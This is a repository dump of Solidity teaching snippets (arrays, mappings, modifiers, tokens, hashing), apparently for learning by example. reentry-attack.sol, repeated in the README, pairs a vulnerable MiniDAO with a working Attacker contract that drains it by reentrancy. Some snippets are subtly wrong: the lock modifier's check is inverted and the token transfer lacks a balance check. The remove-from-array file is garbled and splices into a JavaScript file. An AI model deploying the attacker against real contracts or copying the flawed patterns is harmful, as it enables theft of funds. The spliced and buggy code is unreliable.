├── README-template.md ├── tuple.sol ├── call-other-contract.sol ├── array-of-strings.sol ├── error-trap ├── error-trap.sol └── error-trap-idea.js ├── call-dynamic.sol ├── f.value.sol ├── mapping-delete.sol ├── public-mapping.sol ├── array-delete.sol ├── package.json ├── public-length.sol ├── basic-token-unannotated.sol ├── send-eth.sol ├── array-passing.sol ├── factory.sol ├── modifiers.sol ├── no-variable-length-returns.sol ├── tail-recursion.sol ├── array-return.sol ├── proposal.sol ├── reentry-attack.sol ├── remove-from-array.sol ├── sha3.sol ├── yarn.lock ├── basic-token-annotated.sol └── README.md /README-template.md: -------------------------------------------------------------------------------- 1 | This is a collection of Solidity snippets for people who like to learn by example. Maybe some day it will turn into more of a step-by-step learning experience. 2 | 3 | ## Examples 4 | 5 | <%=examples%> 6 | -------------------------------------------------------------------------------- /tuple.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | function tuple() returns(uint, string) { 3 | return (1, "Hi"); 4 | } 5 | 6 | function getOne() returns(uint) { 7 | uint a; 8 | (a,) = tuple(); 9 | return a; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /call-other-contract.sol: -------------------------------------------------------------------------------- 1 | import 'OtherContract.sol' 2 | 3 | contract MyContract { 4 | OtherContract other; 5 | function MyContract(address otherAddress) { 6 | other = OtherContract(otherAddress); 7 | } 8 | function foo() { 9 | other.bar(); 10 | } 11 | } -------------------------------------------------------------------------------- /array-of-strings.sol: -------------------------------------------------------------------------------- 1 | contract MyContract { 2 | string[] strings; 3 | 4 | function MyContract() { 5 | strings.push("hi"); 6 | strings.push("bye"); 7 | } 8 | 9 | function bar() constant returns(string) { 10 | return strings[1]; 11 | } 12 | } -------------------------------------------------------------------------------- /error-trap/error-trap.sol: -------------------------------------------------------------------------------- 1 | contract ContractTrapped { 2 | function foo(uint a) constant returns(string, uint) { 3 | uint nullReturn; 4 | if(a < 100) { 5 | return('Too small', nullReturn); 6 | } 7 | uint b = 5; 8 | return ('', b); 9 | } 10 | } -------------------------------------------------------------------------------- /call-dynamic.sol: -------------------------------------------------------------------------------- 1 | contract MyContract { 2 | 3 | uint x = 0; 4 | 5 | function foo(uint _x) { 6 | x = 10 + _x; 7 | } 8 | 9 | function bar() constant returns(uint) { 10 | this.call(bytes4(sha3('foo(uint256)')), 1); 11 | return x; // returns 11 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /f.value.sol: -------------------------------------------------------------------------------- 1 | contract One{ 2 | string public word; 3 | 4 | function setMsg(string whatever) { 5 | word = whatever; 6 | } 7 | } 8 | 9 | contract Two{ 10 | function Two(){ 11 | One o = One(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a); 12 | o.setMsg.value(0)("test"); 13 | } 14 | } -------------------------------------------------------------------------------- /mapping-delete.sol: -------------------------------------------------------------------------------- 1 | contract MyContract { 2 | struct Data { 3 | uint a; 4 | uint b; 5 | } 6 | mapping (uint => Data) public items; 7 | function MyContract() { 8 | items[0] = Data(1,2); 9 | items[1] = Data(3,4); 10 | items[2] = Data(5,6); 11 | delete items[1]; 12 | } 13 | } -------------------------------------------------------------------------------- /public-mapping.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | mapping(uint => uint) public objects; 3 | 4 | function B() { 5 | objects[0] = 42; 6 | } 7 | } 8 | 9 | contract B { 10 | // insert address of deployed First here 11 | A a = A(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a); 12 | 13 | function get() returns(uint) { 14 | return a.objects(0); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /array-delete.sol: -------------------------------------------------------------------------------- 1 | contract ArrayDelete { 2 | uint[] numbers; 3 | 4 | function main() returns (uint[]) { 5 | numbers.push(100); 6 | numbers.push(200); 7 | numbers.push(300); 8 | numbers.push(400); 9 | numbers.push(500); 10 | 11 | delete numbers[2]; 12 | 13 | // 100, 200, 0, 400, 500 14 | return numbers; 15 | } 16 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solidity-by-example", 3 | "private": true, 4 | "scripts": { 5 | "build": "node build.js" 6 | }, 7 | "author": { 8 | "name": "Raine Revere", 9 | "email": "raineorshine@gmail.com", 10 | "url": "https://github.com/raineorshine" 11 | }, 12 | "devDependencies": { 13 | "bluebird": "^3.4.1", 14 | "glob": "^7.0.5" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /public-length.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | uint[] public nums; 3 | function getNumLength() returns(uint) { 4 | return nums.length; 5 | } 6 | } 7 | 8 | contract B { 9 | A a; 10 | 11 | function test() constant returns (uint) { 12 | // length is not accessible on public array from other contract 13 | //return a.nums.length(); 14 | return a.getNumLength(); 15 | } 16 | } -------------------------------------------------------------------------------- /basic-token-unannotated.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract BasicToken { 4 | 5 | mapping(address => uint256) balances; 6 | 7 | function transfer(address recipient, uint256 value) public { 8 | balances[msg.sender] -= value; 9 | balances[recipient] += value; 10 | } 11 | 12 | function balanceOf(address account) public constant returns (uint256) { 13 | return balances[account]; 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /send-eth.sol: -------------------------------------------------------------------------------- 1 | contract MyContract { 2 | 3 | address a = 0x123; 4 | 5 | function foo() { 6 | 7 | // send ether with default 21,000 gas 8 | // likely causes OOG in callee 9 | a.send(1 ether); 10 | 11 | // send ether with all remaining gas 12 | // but no success check! 13 | a.call.value(1 ether)(); 14 | 15 | // RECOMMENDED 16 | // send all remaining gas 17 | // explicitly handle callee throw 18 | if(!a.call.value(1 ether)()) throw; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /array-passing.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | uint256[] public numbers; 3 | function A(uint256[] _numbers) { 4 | for(uint256 i=0; i<_numbers.length; i++) { 5 | numbers.push(_numbers[i]); 6 | } 7 | } 8 | 9 | function get() returns (uint256[]) { 10 | return numbers; 11 | } 12 | } 13 | 14 | contract Manager { 15 | function makeA() returns (uint256) { 16 | uint256[] numbers; 17 | numbers.push(10); 18 | 19 | A a = new A(numbers); 20 | 21 | return a.numbers(0); 22 | } 23 | } -------------------------------------------------------------------------------- /factory.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | uint[] public amounts; 3 | function init(uint[] _amounts) { 4 | amounts = _amounts; 5 | } 6 | } 7 | 8 | contract Factory { 9 | struct AData { 10 | uint[] amounts; 11 | } 12 | mapping (address => AData) listOfData; 13 | 14 | function set(uint[] _amounts) { 15 | listOfData[msg.sender] = AData(_amounts); 16 | } 17 | 18 | function make() returns(address) { 19 | A a = new A(); 20 | a.init(listOfData[msg.sender].amounts); 21 | return address(a); 22 | } 23 | } -------------------------------------------------------------------------------- /modifiers.sol: -------------------------------------------------------------------------------- 1 | contract MyContract { 2 | 3 | bool locked = false; 4 | 5 | modifier validAddress(address account) { 6 | if (account == 0x0) { throw; } 7 | _ 8 | } 9 | 10 | modifier greaterThan(uint value, uint limit) { 11 | if(value <= limit) { throw; } 12 | _ 13 | } 14 | 15 | modifier lock() { 16 | if(locked) { 17 | locked = true; 18 | _ 19 | locked = false; 20 | } 21 | } 22 | 23 | function f(address account) validAddress(account) {} 24 | function g(uint a) greaterThan(a, 10) {} 25 | function refund() lock { 26 | msg.sender.send(0); 27 | } 28 | } -------------------------------------------------------------------------------- /no-variable-length-returns.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | bytes8[] stuff; 3 | function get() constant returns(bytes8[]) { 4 | return stuff; 5 | } 6 | } 7 | 8 | contract B { 9 | A a; 10 | bytes8[] mystuff; 11 | function assign(address _a) { 12 | a = A(_a); 13 | } 14 | 15 | function copyToMemory() { 16 | // VM does not support variably-sized return types from external function calls 17 | // (ERROR: Type inaccessible dynamic type is not implicitly convertible...) 18 | bytes8[] memory stuff = a.get(); 19 | } 20 | 21 | function copyToStorage() { 22 | // ERROR 23 | mystuff = a.get(); 24 | } 25 | } -------------------------------------------------------------------------------- /tail-recursion.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | contract MyContract { 4 | 5 | // naive recursion 6 | function sum(uint n) constant returns(uint) { 7 | return n == 0 ? 0 : 8 | n + sum(n-1); 9 | } 10 | 11 | // loop 12 | function sumloop(uint n) constant returns(uint) { 13 | uint256 total = 0; 14 | for(uint256 i=1; i<=n; i++) { 15 | total += i; 16 | } 17 | return total; 18 | } 19 | 20 | // tail-recursion 21 | function sumtailHelper(uint n, uint acc) private constant returns(uint) { 22 | return n == 0 ? acc : 23 | sumtailHelper(n-1, acc + n); 24 | } 25 | function sumtail(uint n) constant returns(uint) { 26 | return sumtailHelper(n, 0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /array-return.sol: -------------------------------------------------------------------------------- 1 | contract A { 2 | 3 | uint[] xs; 4 | 5 | function A() { 6 | xs.push(100); 7 | xs.push(200); 8 | xs.push(300); 9 | } 10 | 11 | // can be called from web3 12 | function foo() constant returns(uint[]) { 13 | return xs; 14 | } 15 | } 16 | 17 | // trying to call foo from another contract does not work 18 | contract B { 19 | 20 | A a; 21 | 22 | function B() { 23 | a = new A(); 24 | } 25 | 26 | // COMPILATION ERROR 27 | // Return argument type inaccessible dynamic type is not implicitly convertible 28 | // to expected type (type of first return variable) uint256[] memory. 29 | function bar() constant returns(uint[]) { 30 | return a.foo(); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /proposal.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | /** A proposal contract with O(1) approvals. */ 4 | contract Proposal { 5 | mapping (address => bool) approvals; 6 | bytes32 public approvalMask; 7 | bytes32 public approver1; 8 | bytes32 public approver2; 9 | bytes32 public target; 10 | 11 | function Proposal() public { 12 | approver1 = 0x00000000000000000000000000000000000000123; 13 | approver2 = bytes32(msg.sender); 14 | target = approver1 | approver2; 15 | } 16 | 17 | function approve(address approver) public { 18 | approvalMask |= bytes32(approver); 19 | approvals[approver] = true; 20 | } 21 | 22 | function isApproved() public constant returns(bool) { 23 | return approvalMask == target; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /reentry-attack.sol: -------------------------------------------------------------------------------- 1 | contract MiniDAO { 2 | mapping (address => uint) balances; 3 | 4 | function deposit() { 5 | balances[msg.sender] += msg.value; 6 | } 7 | 8 | function withdraw(uint amount) { 9 | if(balances[msg.sender] < amount) throw; 10 | msg.sender.call.value(amount)(); 11 | balances[msg.sender] -= amount; 12 | } 13 | } 14 | 15 | contract Attacker { 16 | 17 | // limit the recursive calls to prevent out-of-gas error 18 | uint stack = 0; 19 | uint constant stackLimit = 10; 20 | uint amount; 21 | MiniDAO dao; 22 | 23 | function Attacker(address daoAddress) { 24 | dao = MiniDAO(daoAddress); 25 | amount = msg.value; 26 | dao.deposit.value(msg.value)(); 27 | } 28 | 29 | function attack() { 30 | dao.withdraw(amount); 31 | } 32 | 33 | function() { 34 | if(stack++ < 10) { 35 | dao.withdraw(amount); 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /remove-from-array.sol: -------------------------------------------------------------------------------- 1 | contract Contract { 2 | uint[] public values; 3 | 4 | function Contract() { 5 | } 6 | 7 | function find(uint value) returns(uint) { 8 | uint i = 0; 9 | while (values[i] != value) { 10 | i++; 11 | } 12 | return i; 13 | } 14 | 15 | function removeByValue(uint value) { 16 | uint i = find(value); 17 | removeByIndex(i); 18 | } 19 | 20 | function removeByIndex(uint i) { 21 | while (i { 32 | return debug ? trappedPromise : 33 | trappedPromise.then(result => { 34 | if(result[0]) { 35 | console.error(result[0]) 36 | } 37 | return result[1] 38 | }) 39 | } 40 | 41 | /** Returns a new function that traps the given contract function. */ 42 | const trapFunction = (key, fn) => { 43 | return (...args) => { 44 | return trap(fn(...args)) 45 | } 46 | } 47 | 48 | /** Make a version of the contract with all functions trapped. */ 49 | const trapContract = contract => { 50 | return mapObject(contract, trapFunction) 51 | } 52 | 53 | // get a trapped version of the contract 54 | const contract = trapContract(myContract) 55 | 56 | // call contract as normal 57 | contract.Foo(10) 58 | -------------------------------------------------------------------------------- /sha3.sol: -------------------------------------------------------------------------------- 1 | contract Sha3 { 2 | function hashArray() constant returns(bytes32) { 3 | bytes8[] memory tickers = new bytes8[](4); 4 | tickers[0] = bytes8('BTC'); 5 | tickers[1] = bytes8('ETH'); 6 | tickers[2] = bytes8('LTC'); 7 | tickers[3] = bytes8('DOGE'); 8 | return sha3(tickers); 9 | // 0x374c0504f79c1d5e6e4ded17d488802b5656bd1d96b16a568d6c324e1c04c37b 10 | } 11 | 12 | function hashPackedArray() constant returns(bytes32) { 13 | bytes8 btc = bytes8('BTC'); 14 | bytes8 eth = bytes8('ETH'); 15 | bytes8 ltc = bytes8('LTC'); 16 | bytes8 doge = bytes8('DOGE'); 17 | return sha3(btc, eth, ltc, doge); 18 | // 0xe79a6745d2205095147fd735f329de58377b2f0b9f4b81ae23e010062127f2bc 19 | } 20 | 21 | function hashAddress() constant returns(bytes32) { 22 | address account = 0x6779913e982688474f710b47e1c0506c5dca4634; 23 | return sha3(bytes20(account)); 24 | // 0x229327de236bd04ccac2efc445f1a2b63afddf438b35874b9f6fd1e6c38b0198 25 | } 26 | 27 | function testPackedArgs() constant returns (bool) { 28 | return sha3('ab') == sha3('a', 'b'); 29 | } 30 | 31 | function hashHex() constant returns (bytes32) { 32 | return sha3(0x0a); 33 | // 0x0ef9d8f8804d174666011a394cab7901679a8944d24249fd148a6a36071151f8 34 | } 35 | 36 | function hashInt() constant returns (bytes32) { 37 | return sha3(int(1)); 38 | } 39 | 40 | function hashNegative() constant returns (bytes32) { 41 | return sha3(int(-1)); 42 | } 43 | 44 | function hash8() constant returns (bytes32) { 45 | return sha3(1); 46 | } 47 | 48 | function hash32() constant returns (bytes32) { 49 | return sha3(uint32(1)); 50 | } 51 | 52 | function hash256() constant returns (bytes32) { 53 | return sha3(uint(1)); 54 | } 55 | 56 | function hashEth() constant returns (bytes32) { 57 | return sha3(uint(100 ether)); 58 | } 59 | 60 | function hashWei() constant returns (bytes32) { 61 | return sha3(uint(100)); 62 | } 63 | 64 | function hashMultipleArgs() constant returns (bytes32) { 65 | return sha3('a', uint(1)); 66 | } 67 | 68 | function hashString() constant returns (bytes32) { 69 | return sha3('a'); 70 | } 71 | } -------------------------------------------------------------------------------- /yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | balanced-match@^0.4.1: 6 | version "0.4.2" 7 | resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-0.4.2.tgz#cb3f3e3c732dc0f01ee70b403f302e61d7709838" 8 | 9 | bluebird@^3.4.1: 10 | version "3.4.7" 11 | resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.4.7.tgz#f72d760be09b7f76d08ed8fae98b289a8d05fab3" 12 | 13 | brace-expansion@^1.0.0: 14 | version "1.1.6" 15 | resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.6.tgz#7197d7eaa9b87e648390ea61fc66c84427420df9" 16 | dependencies: 17 | balanced-match "^0.4.1" 18 | concat-map "0.0.1" 19 | 20 | concat-map@0.0.1: 21 | version "0.0.1" 22 | resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" 23 | 24 | fs.realpath@^1.0.0: 25 | version "1.0.0" 26 | resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" 27 | 28 | glob@^7.0.5: 29 | version "7.1.1" 30 | resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.1.tgz#805211df04faaf1c63a3600306cdf5ade50b2ec8" 31 | dependencies: 32 | fs.realpath "^1.0.0" 33 | inflight "^1.0.4" 34 | inherits "2" 35 | minimatch "^3.0.2" 36 | once "^1.3.0" 37 | path-is-absolute "^1.0.0" 38 | 39 | inflight@^1.0.4: 40 | version "1.0.6" 41 | resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" 42 | dependencies: 43 | once "^1.3.0" 44 | wrappy "1" 45 | 46 | inherits@2: 47 | version "2.0.3" 48 | resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" 49 | 50 | minimatch@^3.0.2: 51 | version "3.0.3" 52 | resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.3.tgz#2a4e4090b96b2db06a9d7df01055a62a77c9b774" 53 | dependencies: 54 | brace-expansion "^1.0.0" 55 | 56 | once@^1.3.0: 57 | version "1.4.0" 58 | resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" 59 | dependencies: 60 | wrappy "1" 61 | 62 | path-is-absolute@^1.0.0: 63 | version "1.0.1" 64 | resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" 65 | 66 | wrappy@1: 67 | version "1.0.2" 68 | resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" 69 | -------------------------------------------------------------------------------- /basic-token-annotated.sol: -------------------------------------------------------------------------------- 1 | // declare which version of Solidity we are using 2 | // different versions of Solidity have different 3 | pragma solidity ^0.4.18; 4 | 5 | // define a smart contract called "BasicToken" 6 | contract BasicToken { 7 | 8 | // examples of simple variables 9 | // string myName; 10 | // bool isApproved; 11 | // uint daysRemaining; 12 | 13 | // an array is a list of individuals values, e.g. list of numbers, list of names 14 | // uint256[] numbers; 15 | 16 | // a mapping is a list of pairs 17 | mapping(address => uint256) balances; // a mapping of all user's balances 18 | // 0xa5c => 10 Ether 19 | // 0x91b => 5 Ether 20 | // 0xcdd => 1.25 Ether 21 | 22 | // another mapping example 23 | // mapping(address => bool) signatures; // a mapping of signatures 24 | // 0xa2d => true (approved) 25 | // 0xb24 => true (approved) 26 | // 0x515 => false (not approved) 27 | 28 | // address myAddress = 0x1235647381947839275893275893; // ethereum address 29 | // uint256 count = 10; // unsigned (non-negative) integer, 256-bytes in size 30 | 31 | /** 32 | * @dev transfer token for a specified address 33 | * @param recipient The address to transfer to. 34 | * @param value The amount to be transferred. 35 | */ 36 | // define a function called "transfer" 37 | // inputs? (parameters) an address called "recipient" and a uint256 called "value" 38 | function transfer(address recipient, uint256 value) public { 39 | // msg.sender is a predefined variable that specifies the address of the 40 | // person sending this transaction 41 | // address msg.sender = 0x5ba...; 42 | 43 | // balances[msg.sender] -> set the balance of the sender 44 | // set the balance of the sender to their current balance minus value 45 | // withdrawing tokens from the sender's account 46 | balances[msg.sender] -= value; 47 | 48 | // balances[recipient] -> set the balance of the receiver (recipient) 49 | // set the balance of the receiver to their current balance plus value 50 | // depositing tokens into the receiver's account 51 | balances[recipient] += value; 52 | } 53 | 54 | /** 55 | * @dev Gets the balance of the specified address. 56 | * @param account The address to query the the balance of. 57 | * @return An uint256 representing the amount owned by the passed address. 58 | */ 59 | // define function called "balanceOf" 60 | // inputs? (parameters) the address of the owner (account) 61 | // ontputs? (returns) the balance (number) 62 | function balanceOf(address account) public constant returns (uint256) { 63 | 64 | // balances[account] -> return the balance of the owner 65 | return balances[account]; 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This is a collection of Solidity snippets for people who like to learn by example. Maybe some day it will turn into more of a step-by-step learning experience. 2 | 3 | ## Examples 4 | 5 | ### array-delete.sol 6 | ```js 7 | contract ArrayDelete { 8 | uint[] numbers; 9 | 10 | function main() returns (uint[]) { 11 | numbers.push(100); 12 | numbers.push(200); 13 | numbers.push(300); 14 | numbers.push(400); 15 | numbers.push(500); 16 | 17 | delete numbers[2]; 18 | 19 | // 100, 200, 0, 400, 500 20 | return numbers; 21 | } 22 | } 23 | ``` 24 | 25 | ### array-of-strings.sol 26 | ```js 27 | contract MyContract { 28 | string[] strings; 29 | 30 | function MyContract() { 31 | strings.push("hi"); 32 | strings.push("bye"); 33 | } 34 | 35 | function bar() constant returns(string) { 36 | return strings[1]; 37 | } 38 | } 39 | ``` 40 | 41 | ### array-passing.sol 42 | ```js 43 | contract A { 44 | uint256[] public numbers; 45 | function A(uint256[] _numbers) { 46 | for(uint256 i=0; i<_numbers.length; i++) { 47 | numbers.push(_numbers[i]); 48 | } 49 | } 50 | 51 | function get() returns (uint256[]) { 52 | return numbers; 53 | } 54 | } 55 | 56 | contract Manager { 57 | function makeA() returns (uint256) { 58 | uint256[] numbers; 59 | numbers.push(10); 60 | 61 | A a = new A(numbers); 62 | 63 | return a.numbers(0); 64 | } 65 | } 66 | ``` 67 | 68 | ### array-return.sol 69 | ```js 70 | contract A { 71 | 72 | uint[] xs; 73 | 74 | function A() { 75 | xs.push(100); 76 | xs.push(200); 77 | xs.push(300); 78 | } 79 | 80 | // can be called from web3 81 | function foo() constant returns(uint[]) { 82 | return xs; 83 | } 84 | } 85 | 86 | // trying to call foo from another contract does not work 87 | contract B { 88 | 89 | A a; 90 | 91 | function B() { 92 | a = new A(); 93 | } 94 | 95 | // COMPILATION ERROR 96 | // Return argument type inaccessible dynamic type is not implicitly convertible 97 | // to expected type (type of first return variable) uint256[] memory. 98 | function bar() constant returns(uint[]) { 99 | return a.foo(); 100 | } 101 | } 102 | 103 | ``` 104 | 105 | ### basic-token-annotated.sol 106 | ```js 107 | // declare which version of Solidity we are using 108 | // different versions of Solidity have different 109 | pragma solidity ^0.4.18; 110 | 111 | // define a smart contract called "BasicToken" 112 | contract BasicToken { 113 | 114 | // examples of simple variables 115 | // string myName; 116 | // bool isApproved; 117 | // uint daysRemaining; 118 | 119 | // an array is a list of individuals values, e.g. list of numbers, list of names 120 | // uint256[] numbers; 121 | 122 | // a mapping is a list of pairs 123 | mapping(address => uint256) balances; // a mapping of all user's balances 124 | // 0xa5c => 10 Ether 125 | // 0x91b => 5 Ether 126 | // 0xcdd => 1.25 Ether 127 | 128 | // another mapping example 129 | // mapping(address => bool) signatures; // a mapping of signatures 130 | // 0xa2d => true (approved) 131 | // 0xb24 => true (approved) 132 | // 0x515 => false (not approved) 133 | 134 | // address myAddress = 0x1235647381947839275893275893; // ethereum address 135 | // uint256 count = 10; // unsigned (non-negative) integer, 256-bytes in size 136 | 137 | /** 138 | * @dev transfer token for a specified address 139 | * @param recipient The address to transfer to. 140 | * @param value The amount to be transferred. 141 | */ 142 | // define a function called "transfer" 143 | // inputs? (parameters) an address called "recipient" and a uint256 called "value" 144 | function transfer(address recipient, uint256 value) public { 145 | // msg.sender is a predefined variable that specifies the address of the 146 | // person sending this transaction 147 | // address msg.sender = 0x5ba...; 148 | 149 | // balances[msg.sender] -> set the balance of the sender 150 | // set the balance of the sender to their current balance minus value 151 | // withdrawing tokens from the sender's account 152 | balances[msg.sender] -= value; 153 | 154 | // balances[recipient] -> set the balance of the receiver (recipient) 155 | // set the balance of the receiver to their current balance plus value 156 | // depositing tokens into the receiver's account 157 | balances[recipient] += value; 158 | } 159 | 160 | /** 161 | * @dev Gets the balance of the specified address. 162 | * @param account The address to query the the balance of. 163 | * @return An uint256 representing the amount owned by the passed address. 164 | */ 165 | // define function called "balanceOf" 166 | // inputs? (parameters) the address of the owner (account) 167 | // ontputs? (returns) the balance (number) 168 | function balanceOf(address account) public constant returns (uint256) { 169 | 170 | // balances[account] -> return the balance of the owner 171 | return balances[account]; 172 | } 173 | 174 | } 175 | 176 | ``` 177 | 178 | ### basic-token-unannotated.sol 179 | ```js 180 | pragma solidity ^0.4.18; 181 | 182 | contract BasicToken { 183 | 184 | mapping(address => uint256) balances; 185 | 186 | function transfer(address recipient, uint256 value) public { 187 | balances[msg.sender] -= value; 188 | balances[recipient] += value; 189 | } 190 | 191 | function balanceOf(address account) public constant returns (uint256) { 192 | return balances[account]; 193 | } 194 | 195 | } 196 | 197 | ``` 198 | 199 | ### call-dynamic.sol 200 | ```js 201 | contract MyContract { 202 | 203 | uint x = 0; 204 | 205 | function foo(uint _x) { 206 | x = 10 + _x; 207 | } 208 | 209 | function bar() constant returns(uint) { 210 | this.call(bytes4(sha3('foo(uint256)')), 1); 211 | return x; // returns 11 212 | } 213 | } 214 | 215 | ``` 216 | 217 | ### call-other-contract.sol 218 | ```js 219 | import 'OtherContract.sol' 220 | 221 | contract MyContract { 222 | OtherContract other; 223 | function MyContract(address otherAddress) { 224 | other = OtherContract(otherAddress); 225 | } 226 | function foo() { 227 | other.bar(); 228 | } 229 | } 230 | ``` 231 | 232 | ### error-trap.sol 233 | ```js 234 | contract ContractTrapped { 235 | function foo(uint a) constant returns(string, uint) { 236 | uint nullReturn; 237 | if(a < 100) { 238 | return('Too small', nullReturn); 239 | } 240 | uint b = 5; 241 | return ('', b); 242 | } 243 | } 244 | ``` 245 | 246 | ### f.value.sol 247 | ```js 248 | contract One{ 249 | string public word; 250 | 251 | function setMsg(string whatever) { 252 | word = whatever; 253 | } 254 | } 255 | 256 | contract Two{ 257 | function Two(){ 258 | One o = One(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a); 259 | o.setMsg.value(0)("test"); 260 | } 261 | } 262 | ``` 263 | 264 | ### factory.sol 265 | ```js 266 | contract A { 267 | uint[] public amounts; 268 | function init(uint[] _amounts) { 269 | amounts = _amounts; 270 | } 271 | } 272 | 273 | contract Factory { 274 | struct AData { 275 | uint[] amounts; 276 | } 277 | mapping (address => AData) listOfData; 278 | 279 | function set(uint[] _amounts) { 280 | listOfData[msg.sender] = AData(_amounts); 281 | } 282 | 283 | function make() returns(address) { 284 | A a = new A(); 285 | a.init(listOfData[msg.sender].amounts); 286 | return address(a); 287 | } 288 | } 289 | ``` 290 | 291 | ### mapping-delete.sol 292 | ```js 293 | contract MyContract { 294 | struct Data { 295 | uint a; 296 | uint b; 297 | } 298 | mapping (uint => Data) public items; 299 | function MyContract() { 300 | items[0] = Data(1,2); 301 | items[1] = Data(3,4); 302 | items[2] = Data(5,6); 303 | delete items[1]; 304 | } 305 | } 306 | ``` 307 | 308 | ### modifiers.sol 309 | ```js 310 | contract MyContract { 311 | 312 | bool locked = false; 313 | 314 | modifier validAddress(address account) { 315 | if (account == 0x0) { throw; } 316 | _ 317 | } 318 | 319 | modifier greaterThan(uint value, uint limit) { 320 | if(value <= limit) { throw; } 321 | _ 322 | } 323 | 324 | modifier lock() { 325 | if(locked) { 326 | locked = true; 327 | _ 328 | locked = false; 329 | } 330 | } 331 | 332 | function f(address account) validAddress(account) {} 333 | function g(uint a) greaterThan(a, 10) {} 334 | function refund() lock { 335 | msg.sender.send(0); 336 | } 337 | } 338 | ``` 339 | 340 | ### no-variable-length-returns.sol 341 | ```js 342 | contract A { 343 | bytes8[] stuff; 344 | function get() constant returns(bytes8[]) { 345 | return stuff; 346 | } 347 | } 348 | 349 | contract B { 350 | A a; 351 | bytes8[] mystuff; 352 | function assign(address _a) { 353 | a = A(_a); 354 | } 355 | 356 | function copyToMemory() { 357 | // VM does not support variably-sized return types from external function calls 358 | // (ERROR: Type inaccessible dynamic type is not implicitly convertible...) 359 | bytes8[] memory stuff = a.get(); 360 | } 361 | 362 | function copyToStorage() { 363 | // ERROR 364 | mystuff = a.get(); 365 | } 366 | } 367 | ``` 368 | 369 | ### proposal.sol 370 | ```js 371 | pragma solidity ^0.4.17; 372 | 373 | /** A proposal contract with O(1) approvals. */ 374 | contract Proposal { 375 | mapping (address => bool) approvals; 376 | bytes32 public approvalMask; 377 | bytes32 public approver1; 378 | bytes32 public approver2; 379 | bytes32 public target; 380 | 381 | function Proposal() public { 382 | approver1 = 0x00000000000000000000000000000000000000123; 383 | approver2 = bytes32(msg.sender); 384 | target = approver1 | approver2; 385 | } 386 | 387 | function approve(address approver) public { 388 | approvalMask |= bytes32(approver); 389 | approvals[approver] = true; 390 | } 391 | 392 | function isApproved() public constant returns(bool) { 393 | return approvalMask == target; 394 | } 395 | } 396 | 397 | ``` 398 | 399 | ### public-length.sol 400 | ```js 401 | contract A { 402 | uint[] public nums; 403 | function getNumLength() returns(uint) { 404 | return nums.length; 405 | } 406 | } 407 | 408 | contract B { 409 | A a; 410 | 411 | function test() constant returns (uint) { 412 | // length is not accessible on public array from other contract 413 | //return a.nums.length(); 414 | return a.getNumLength(); 415 | } 416 | } 417 | ``` 418 | 419 | ### public-mapping.sol 420 | ```js 421 | contract A { 422 | mapping(uint => uint) public objects; 423 | 424 | function B() { 425 | objects[0] = 42; 426 | } 427 | } 428 | 429 | contract B { 430 | // insert address of deployed First here 431 | A a = A(0x692a70d2e424a56d2c6c27aa97d1a86395877b3a); 432 | 433 | function get() returns(uint) { 434 | return a.objects(0); 435 | } 436 | } 437 | 438 | ``` 439 | 440 | ### reentry-attack.sol 441 | ```js 442 | contract MiniDAO { 443 | mapping (address => uint) balances; 444 | 445 | function deposit() { 446 | balances[msg.sender] += msg.value; 447 | } 448 | 449 | function withdraw(uint amount) { 450 | if(balances[msg.sender] < amount) throw; 451 | msg.sender.call.value(amount)(); 452 | balances[msg.sender] -= amount; 453 | } 454 | } 455 | 456 | contract Attacker { 457 | 458 | // limit the recursive calls to prevent out-of-gas error 459 | uint stack = 0; 460 | uint constant stackLimit = 10; 461 | uint amount; 462 | MiniDAO dao; 463 | 464 | function Attacker(address daoAddress) { 465 | dao = MiniDAO(daoAddress); 466 | amount = msg.value; 467 | dao.deposit.value(msg.value)(); 468 | } 469 | 470 | function attack() { 471 | dao.withdraw(amount); 472 